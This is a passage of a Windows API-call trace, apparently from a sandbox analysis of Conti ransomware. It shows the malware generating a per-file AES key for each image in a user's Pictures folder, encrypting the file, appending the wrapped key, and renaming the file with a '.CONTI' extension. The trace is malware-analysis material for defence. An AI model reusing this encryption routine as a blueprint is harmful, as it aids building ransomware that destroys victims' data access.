	[0144.233] ReadFile (in: hFile=0x44c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x355e, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x355e, lpOverlapped=0x0) returned 1
	[0144.234] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x355e, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x3560) returned 1
	[0144.234] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.234] WriteFile (in: hFile=0x44c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x3560, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x3560, lpOverlapped=0x0) returned 1
	[0144.234] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.234] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4c060*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4c060*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0144.234] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.234] CloseHandle (hObject=0x44c) returned 1
	[0144.235] GetProcessHeap () returned 0x1720000
	[0144.235] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0144.235] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp"
	[0144.235] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp.CONTI"
	[0144.235] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\jaxtm.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\jaXtm.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\jaxtm.bmp.conti")) returned 1
	[0144.235] GetProcessHeap () returned 0x1720000
	[0144.235] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0144.235] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0144.235] GetProcessHeap () returned 0x1720000
	[0144.235] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d058 | out: hHeap=0x1720000) returned 1
	[0144.235] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0144.235] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4be20 | out: phKey=0x6b4be20*=0x6b7f0f8) returned 1
	[0144.235] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4be24, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4be24*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0144.236] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\jzibzycl2ugkddzn.gif")) returned 0x20
	[0144.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\jzibzycl2ugkddzn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0144.236] GetLastError () returned 0x0
	[0144.236] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=37456) returned 1
	[0144.237] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9250
	[0144.237] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.237] SetEndOfFile (hFile=0x44c) returned 1
	[0144.237] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.237] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.237] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4be24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4be24*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.021] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.021] ReadFile (in: hFile=0x44c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x9250, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x9250, lpOverlapped=0x0) returned 1
	[0145.022] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x9250, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x9260) returned 1
	[0145.022] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.022] WriteFile (in: hFile=0x44c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x9260, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x9260, lpOverlapped=0x0) returned 1
	[0145.022] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.022] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4be18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4be18*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0145.022] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.022] CloseHandle (hObject=0x44c) returned 1
	[0145.022] GetProcessHeap () returned 0x1720000
	[0145.022] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0145.123] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif") returned="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif"
	[0145.123] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif.CONTI"
	[0145.123] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\jzibzycl2ugkddzn.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\JZibZYCL2UgKddZn.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\jzibzycl2ugkddzn.gif.conti")) returned 1
	[0145.123] GetProcessHeap () returned 0x1720000
	[0145.124] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0145.124] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0145.124] GetProcessHeap () returned 0x1720000
	[0145.124] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb9b8 | out: hHeap=0x1720000) returned 1
	[0145.124] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0145.124] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4abe0 | out: phKey=0x6b4abe0*=0x17dee10) returned 1
	[0145.124] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4abe4, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4abe4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0145.124] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png" (normalized: "c:\\users\\fd1hvy\\pictures\\lhkr1t0apxwha.png")) returned 0x20
	[0145.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png" (normalized: "c:\\users\\fd1hvy\\pictures\\lhkr1t0apxwha.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0145.125] GetLastError () returned 0x0
	[0145.125] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=5306) returned 1
	[0145.125] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14ba
	[0145.125] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.125] SetEndOfFile (hFile=0x39c) returned 1
	[0145.125] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.125] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.125] WriteFile (in: hFile=0x39c, lpBuffer=0x6b4abe4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4abe4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.129] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.129] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x14ba, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x14ba, lpOverlapped=0x0) returned 1
	[0145.130] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x14ba, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x14c0) returned 1
	[0145.131] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.131] WriteFile (in: hFile=0x39c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x14c0, lpOverlapped=0x0) returned 1
	[0145.131] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.131] WriteFile (in: hFile=0x39c, lpBuffer=0x6b4abd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4abd8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0145.131] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.131] CloseHandle (hObject=0x39c) returned 1
	[0145.131] GetProcessHeap () returned 0x1720000
	[0145.131] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.131] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png") returned="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png"
	[0145.131] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png.CONTI"
	[0145.131] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png" (normalized: "c:\\users\\fd1hvy\\pictures\\lhkr1t0apxwha.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\lHKR1T0APxwHa.png.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\lhkr1t0apxwha.png.conti")) returned 1
	[0145.132] GetProcessHeap () returned 0x1720000
	[0145.132] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.132] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0145.132] GetProcessHeap () returned 0x1720000
	[0145.132] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17413a0 | out: hHeap=0x1720000) returned 1
	[0145.132] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0145.132] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d1528 | out: phKey=0x65d1528*=0x17dee10) returned 1
	[0145.132] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d152c, pdwDataLen=0x4d3fec4 | out: pbData=0x65d152c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0145.133] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\no b4i.gif")) returned 0x20
	[0145.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\no b4i.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0145.133] GetLastError () returned 0x0
	[0145.133] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=2147) returned 1
	[0145.133] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x863
	[0145.133] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.133] SetEndOfFile (hFile=0x39c) returned 1
	[0145.133] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.133] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.133] WriteFile (in: hFile=0x39c, lpBuffer=0x65d152c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d152c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.139] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.139] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x863, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x863, lpOverlapped=0x0) returned 1
	[0145.139] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x863, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x870) returned 1
	[0145.139] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.139] WriteFile (in: hFile=0x39c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x870, lpOverlapped=0x0) returned 1
	[0145.139] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.139] WriteFile (in: hFile=0x39c, lpBuffer=0x65d1520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d1520*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0145.140] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.140] CloseHandle (hObject=0x39c) returned 1
	[0145.140] GetProcessHeap () returned 0x1720000
	[0145.140] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.140] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif") returned="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif"
	[0145.140] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif.CONTI"
	[0145.140] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\no b4i.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\No b4i.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\no b4i.gif.conti")) returned 1
	[0145.140] GetProcessHeap () returned 0x1720000
	[0145.140] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.140] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0145.140] GetProcessHeap () returned 0x1720000
	[0145.140] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d0a8 | out: hHeap=0x1720000) returned 1
	[0145.141] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0145.141] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d09c0 | out: phKey=0x65d09c0*=0x17dee10) returned 1
	[0145.141] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d09c4, pdwDataLen=0x4d3fec4 | out: pbData=0x65d09c4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0145.141] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\pgdw_r7w.gif")) returned 0x20
	[0145.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\pgdw_r7w.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0145.142] GetLastError () returned 0x0
	[0145.142] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=52403) returned 1
	[0145.142] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xccb3
	[0145.142] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.142] SetEndOfFile (hFile=0x39c) returned 1
	[0145.142] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.142] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.142] WriteFile (in: hFile=0x39c, lpBuffer=0x65d09c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d09c4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.144] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.144] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xccb3, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xccb3, lpOverlapped=0x0) returned 1
	[0145.149] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xccb3, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xccc0) returned 1
	[0145.149] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.149] WriteFile (in: hFile=0x39c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xccc0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xccc0, lpOverlapped=0x0) returned 1
	[0145.150] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.150] WriteFile (in: hFile=0x39c, lpBuffer=0x65d09b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d09b8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0145.150] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.150] CloseHandle (hObject=0x39c) returned 1
	[0145.150] GetProcessHeap () returned 0x1720000
	[0145.150] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.150] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif") returned="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif"
	[0145.150] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif.CONTI"
	[0145.150] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\pgdw_r7w.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\pgdw_r7w.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\pgdw_r7w.gif.conti")) returned 1
	[0145.150] GetProcessHeap () returned 0x1720000
	[0145.150] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.150] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0145.150] GetProcessHeap () returned 0x1720000
	[0145.150] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf390 | out: hHeap=0x1720000) returned 1
	[0145.151] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0145.151] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65cf0a8 | out: phKey=0x65cf0a8*=0x17dee10) returned 1
	[0145.151] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf0ac, pdwDataLen=0x4d3fec4 | out: pbData=0x65cf0ac*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0145.151] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png" (normalized: "c:\\users\\fd1hvy\\pictures\\qzbcjzumf.png")) returned 0x20
